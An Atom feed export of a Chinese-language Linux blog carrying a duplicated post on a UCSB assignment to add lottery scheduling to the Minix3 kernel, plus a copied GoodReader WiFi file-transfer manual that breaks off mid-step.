<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7460769715768107728</id><updated>2011-08-16T20:02:50.694-07:00</updated><title type='text'>linux lover</title><subtitle type='html'>The Way of the great learning involves manifesting virtue, 
renovating the people, and abiding by the highest good.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default?start-index=101&amp;max-results=100'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>443</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-1641955771039816543</id><published>2010-05-29T08:00:00.001-07:00</published><updated>2010-05-29T08:00:01.611-07:00</updated><title type='text'>Minix3 Scheduler</title><content type='html'>&lt;h1 style="text-align:center"&gt;&lt;b&gt;Minix3 Scheduler&lt;/b&gt;&lt;/h1&gt;&lt;div&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&amp;#26377;&amp;#20851;minix3&amp;#30340;&amp;#35843;&amp;#24230;&amp;#65292;&amp;#30456;&amp;#20851;&amp;#30340;&amp;#29702;&amp;#35770;&amp;#22312; &amp;nbsp;Operating Systems - Design and Implementation, 3rd Edition &amp;#20013;&amp;#30340; &amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;Scheduling in Interactive Systems &amp;nbsp; &amp;#37324;&amp;#20171;&amp;#32461;&amp;#65292;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Round-Robin Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Priority Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Multiple Queues&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Shortest Process Next&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Guaranteed Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Lottery Scheduling&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#20043;&amp;#31867;&amp;#30340;&amp;#31639;&amp;#27861; &amp;#12290;&amp;#36825;&amp;#20010;&amp;#21644;&amp;#25209;&amp;#22788;&amp;#29702;&amp;#31995;&amp;#32479;&amp;#30340;job&amp;#35843;&amp;#24230;&amp;#19981;&amp;#21516;&amp;#65292;&amp;#25152;&amp;#20197;&amp;#19981;&amp;#21487;&amp;#33021;&amp;#23454;&amp;#29616;First-Come First-Served,Shortest Job First ,Shortest Reming Time Next&amp;#20043;&amp;#31867;&amp;#30340;&amp;#35843;&amp;#24230;&amp;#31639;&amp;#27861;&amp;#65292;&amp;#19979;&amp;#38754;&amp;#25214;&amp;#20102;&amp;#19968;&amp;#20010;&amp;#22269;&amp;#22806;UCSB&amp;#22823;&amp;#23398;&amp;#30340;&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#35838;&amp;#31243;&amp;#30340;&amp;#30456;&amp;#20851;Minix&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#30340;&amp;#35843;&amp;#24230;&amp;#31639;&amp;#27861;&amp;#65292;&amp;#26377;&amp;#28857;&amp;#24847;&amp;#24605;&amp;#12290;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&lt;b&gt;Adding a Lottery Scheduler to Minix&lt;/b&gt;&lt;br&gt;&lt;br&gt;This portion of Project 1 requires you to change the process scheduler functionality inside Minix. &amp;nbsp;Obviously, you will need to modify Minix kernel code to make this happen. &amp;nbsp;Specifically, you will be adding functionality to support Lottery Scheduling. Lottery scheduling is a flexible way to schedule CPU time by giving each process a number (n) of tickets. &amp;nbsp;Each time the scheduler is called, it looks at the total number of tickets outstanding (i.e. held by all processes). &amp;nbsp;It randomly chooses one of the outstanding tickets, and the process holding that ticket is the process that gets to run. &amp;nbsp;The intuition is that processes can increase or decrease their share of the CPU by getting or giving away tickets.&lt;br&gt;&lt;br&gt;Modifying the scheduler for Minix should mostly involve modifying code inkernel/proc.c , specifically thesched() and pick_proc() functions (and perhaps enqueue() and dequeue() ). You may also need to modifykernel/proc.h to add elements to the proc structure and modify queue information (NR_SCHED_QUEUES, TASK_Q, IDLE_Q, etc.) and may need to modify PRIO_MIN&amp;nbsp; and PRIO_MAX in/usr/include/sys/resource.h. Process priority is set in do_getsetpriority()&amp;nbsp; inservers/pm/misc.c(don&amp;#39;t worry&amp;mdash;the code in here is very simple), which calls do_nice()&amp;nbsp; inkernel/system.c. You might be better off just using the nice()system call , which calls do_nice()directly. You&amp;#39;ll probably want to modify what do_nice() does to assign or take away tickets.&lt;br&gt;&lt;br&gt;The current MINIX scheduler is relatively simple. It maintains 16 queues of &amp;quot;ready&amp;quot; processes, numbered 0-15. Queue 15 is the lowest priority (least likely to run), and contains only the IDLE task. Queue 0 is the highest priority, and contains several kernel tasks that never get a lower priority. Queues 1&amp;ndash;14 contain all of the other processes. Processes have a maximum priority (remember, higher priorities are closer to 0), and should never be given a higher priority than their maximum priority. &amp;nbsp;System processes (queues 0-14) are run using their original algorithm, and queue 15 still contains the idle process. However, queue 16 contains all of the runnable user processes, each of which has some number of tickets. The default number of tickets for a new process is 5. However, processes can add or subtract tickets by calling setpriority(ntickets), which will increase the number of tickets by ntickets (note that a negative argument will take tickets away). A process cannot accumulate more than 100 tickets.&lt;br&gt;&lt;br&gt;Each time the scheduler is called, it should randomly select a ticket (by number) and run the process holding that ticket. Clearly, the random number must be between 0 and Tickets-1, where Tickets is the sum of all the tickets belonging to processes in the ready queue (processes that are blocked are ineligible to run). You may use the random() call (you may need to use the random number code in/usr/src/lib/other/random.c) to generate random numbers and thesrandom() call to initialize the random number generator. A good initialization function to use would be the current date and time.&lt;br&gt;&lt;br&gt;New processes are created and initialized in kernel/system/do_fork.c. This is probably the best place to initialize any data structures.&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font size="3"&gt;&amp;#23454;&amp;#29616;&amp;#26041;&amp;#26696;&amp;#65306;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;&lt;a href="http://code.google.com/p/minixlottery/"&gt;http://code.google.com/p/minixlottery/&lt;/a&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;reference:&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&lt;a href="http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html" style="color:#551a8b"&gt;http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-1641955771039816543?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/1641955771039816543/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=1641955771039816543' title='24 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/1641955771039816543'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/1641955771039816543'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/05/minix3-scheduler_29.html' title='Minix3 Scheduler'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>24</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-2157646607327680210</id><published>2010-05-29T07:59:00.001-07:00</published><updated>2010-05-29T07:59:59.801-07:00</updated><title type='text'>Minix3 Scheduler</title><content type='html'>&lt;h1 style="text-align:center"&gt;&lt;b&gt;Minix3 Scheduler&lt;/b&gt;&lt;/h1&gt;&lt;div&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&amp;#26377;&amp;#20851;minix3&amp;#30340;&amp;#35843;&amp;#24230;&amp;#65292;&amp;#30456;&amp;#20851;&amp;#30340;&amp;#29702;&amp;#35770;&amp;#22312; &amp;nbsp;Operating Systems - Design and Implementation, 3rd Edition &amp;#20013;&amp;#30340; &amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;Scheduling in Interactive Systems &amp;nbsp; &amp;#37324;&amp;#20171;&amp;#32461;&amp;#65292;&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Round-Robin Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Priority Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Multiple Queues&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Shortest Process Next&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Guaranteed Scheduling&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;li&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;Lottery Scheduling&lt;/font&gt;&lt;/font&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;font size="4"&gt;&lt;font face="&amp;#39;Comic Sans MS&amp;#39;"&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;#20043;&amp;#31867;&amp;#30340;&amp;#31639;&amp;#27861; &amp;#12290;&amp;#36825;&amp;#20010;&amp;#21644;&amp;#25209;&amp;#22788;&amp;#29702;&amp;#31995;&amp;#32479;&amp;#30340;job&amp;#35843;&amp;#24230;&amp;#19981;&amp;#21516;&amp;#65292;&amp;#25152;&amp;#20197;&amp;#19981;&amp;#21487;&amp;#33021;&amp;#23454;&amp;#29616;First-Come First-Served,Shortest Job First ,Shortest Reming Time Next&amp;#20043;&amp;#31867;&amp;#30340;&amp;#35843;&amp;#24230;&amp;#31639;&amp;#27861;&amp;#65292;&amp;#19979;&amp;#38754;&amp;#25214;&amp;#20102;&amp;#19968;&amp;#20010;&amp;#22269;&amp;#22806;UCSB&amp;#22823;&amp;#23398;&amp;#30340;&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#35838;&amp;#31243;&amp;#30340;&amp;#30456;&amp;#20851;Minix&amp;#25805;&amp;#20316;&amp;#31995;&amp;#32479;&amp;#30340;&amp;#35843;&amp;#24230;&amp;#31639;&amp;#27861;&amp;#65292;&amp;#26377;&amp;#28857;&amp;#24847;&amp;#24605;&amp;#12290;&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;/div&gt;&lt;br&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&lt;b&gt;Adding a Lottery Scheduler to Minix&lt;/b&gt;&lt;br&gt;&lt;br&gt;This portion of Project 1 requires you to change the process scheduler functionality inside Minix. &amp;nbsp;Obviously, you will need to modify Minix kernel code to make this happen. &amp;nbsp;Specifically, you will be adding functionality to support Lottery Scheduling. Lottery scheduling is a flexible way to schedule CPU time by giving each process a number (n) of tickets. &amp;nbsp;Each time the scheduler is called, it looks at the total number of tickets outstanding (i.e. held by all processes). &amp;nbsp;It randomly chooses one of the outstanding tickets, and the process holding that ticket is the process that gets to run. &amp;nbsp;The intuition is that processes can increase or decrease their share of the CPU by getting or giving away tickets.&lt;br&gt;&lt;br&gt;Modifying the scheduler for Minix should mostly involve modifying code inkernel/proc.c , specifically thesched() and pick_proc() functions (and perhaps enqueue() and dequeue() ). You may also need to modifykernel/proc.h to add elements to the proc structure and modify queue information (NR_SCHED_QUEUES, TASK_Q, IDLE_Q, etc.) and may need to modify PRIO_MIN&amp;nbsp; and PRIO_MAX in/usr/include/sys/resource.h. Process priority is set in do_getsetpriority()&amp;nbsp; inservers/pm/misc.c(don&amp;#39;t worry&amp;mdash;the code in here is very simple), which calls do_nice()&amp;nbsp; inkernel/system.c. You might be better off just using the nice()system call , which calls do_nice()directly. You&amp;#39;ll probably want to modify what do_nice() does to assign or take away tickets.&lt;br&gt;&lt;br&gt;The current MINIX scheduler is relatively simple. It maintains 16 queues of &amp;quot;ready&amp;quot; processes, numbered 0-15. Queue 15 is the lowest priority (least likely to run), and contains only the IDLE task. Queue 0 is the highest priority, and contains several kernel tasks that never get a lower priority. Queues 1&amp;ndash;14 contain all of the other processes. Processes have a maximum priority (remember, higher priorities are closer to 0), and should never be given a higher priority than their maximum priority. &amp;nbsp;System processes (queues 0-14) are run using their original algorithm, and queue 15 still contains the idle process. However, queue 16 contains all of the runnable user processes, each of which has some number of tickets. The default number of tickets for a new process is 5. However, processes can add or subtract tickets by calling setpriority(ntickets), which will increase the number of tickets by ntickets (note that a negative argument will take tickets away). A process cannot accumulate more than 100 tickets.&lt;br&gt;&lt;br&gt;Each time the scheduler is called, it should randomly select a ticket (by number) and run the process holding that ticket. Clearly, the random number must be between 0 and Tickets-1, where Tickets is the sum of all the tickets belonging to processes in the ready queue (processes that are blocked are ineligible to run). You may use the random() call (you may need to use the random number code in/usr/src/lib/other/random.c) to generate random numbers and thesrandom() call to initialize the random number generator. A good initialization function to use would be the current date and time.&lt;br&gt;&lt;br&gt;New processes are created and initialized in kernel/system/do_fork.c. This is probably the best place to initialize any data structures.&amp;nbsp;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font size="3"&gt;&amp;#23454;&amp;#29616;&amp;#26041;&amp;#26696;&amp;#65306;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;font size="3"&gt;&lt;a href="http://code.google.com/p/minixlottery/"&gt;http://code.google.com/p/minixlottery/&lt;/a&gt;&lt;br&gt;&lt;/font&gt;&lt;/div&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;reference:&lt;/font&gt;&lt;/font&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;i&gt;&lt;u&gt;&lt;font face="&amp;#39;comic sans ms&amp;#39;"&gt;&lt;font size="3"&gt;&lt;a href="http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html" style="color:#551a8b"&gt;http://www.cs.ucsb.edu/~ravenben/classes/170/html/hw1.html&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/u&gt;&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7460769715768107728-2157646607327680210?l=zch051383471952.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zch051383471952.blogspot.com/feeds/2157646607327680210/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7460769715768107728&amp;postID=2157646607327680210' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2157646607327680210'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7460769715768107728/posts/default/2157646607327680210'/><link rel='alternate' type='text/html' href='http://zch051383471952.blogspot.com/2010/05/minix3-scheduler.html' title='Minix3 Scheduler'/><author><name>zch-alex</name><uri>http://www.blogger.com/profile/01183124204454312366</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_77voQuQ5PmQ/SUyRHpH9ATI/AAAAAAAAAm8/7fFsVxg55lI/S220/2008-10-1+14-50-59.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7460769715768107728.post-2001380598985498352</id><published>2010-04-01T02:43:00.003-07:00</published><updated>2010-04-01T02:43:31.800-07:00</updated><title type='text'>GoodReader User Manual</title><content type='html'>&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="5"&gt;&lt;b&gt;GoodReader User Manual&lt;/b&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;br&gt;&lt;font size="5"&gt;&lt;b&gt;&lt;br&gt;&lt;/b&gt;&lt;/font&gt;&lt;p&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Use your local WiFi-network to transfer files from your desktop computer to GoodReader.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Please note that WiFi-networking can sometimes be tricky, there are some hidden options that can prevent normal networking. Should you have any difficulties, please consult our&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/gr-man-tr-wifi-trouble.html" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;Troubleshooting guide&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;&amp;nbsp;or contact our friendly and experienced&amp;nbsp;&lt;/font&gt;&lt;a href="http://goodreader.net/support.php" style="color:#333333;font-family:Arial, Helvetica, sans-serif"&gt;&lt;u&gt;&lt;font size="3"&gt;customer support service&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;font size="3"&gt;.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="1px" cellpadding="10px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Preparation steps&lt;br&gt;(must be performed the first time only, no need to do it every time)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 1. Make sure you have your own local WiFi network ready.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-create.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;creating your own WiFi network&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 2. Connect your computer to your WiFi network.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;if your network is hosted by your computer (i.e. it is an ad hoc or computer-to-computer network, then skip this step&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi-conncomp.html" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none" target="_blank"&gt;&lt;font size="3"&gt;connecting your computer to WiFi network created by your WiFi router&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;hr&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 3. Connect your iPhone / iPod touch to your WiFi network.&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="5px" cellspacing="0" class="zeroBorder"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="15px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;p id="c1sh"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;a class="wifiLink" href="http://goodreader.net/gr-man-tr-wifi.html#Step3_HideDetails" style="color:#0000ff;font-family:Arial, Helvetica, sans-serif;text-decoration:none"&gt;&lt;font size="3"&gt;hide details&lt;/font&gt;&lt;/a&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" id="p443"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td width="30px"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Start the Settings app on your iPhone / iPod touch:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/connect-iphone-1.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;Go to Wi-Fi section. Turn the Wi-Fi switch on, if it&amp;#39;s off. Find your network (to which your computer is connected, or which is hosted by your computer) in the list, select it, and enter the password for this network, if needed. It isvery important to ensure that you&amp;#39;re entering the password correctly, because sometimes, if the password is incorrect, it may look like you&amp;#39;re connected to a network, but no actual file transfer will happen. The checkmark should appear against your network name:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;img border="0" src="http://goodreader.net/images/connect-iphone-2.jpg"&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;Wait for the WiFi antenna logo to appear at the top of the screen. It may take some time, during which your iPhone registers within the network, so just wait for antenna to appear.&lt;br&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="1px" cellpadding="10px" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="background-color:#bbbbbb"&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Actual Transfer&lt;br&gt;(must be performed every time)&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table border="0" cellpadding="0" cellspacing="0" class="zeroBorder" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;font face="arial, helvetica, sans-serif"&gt;&lt;font color="#333333"&gt;&lt;font size="3"&gt;Step 4. Start GoodReader app on your iPhone / iPod 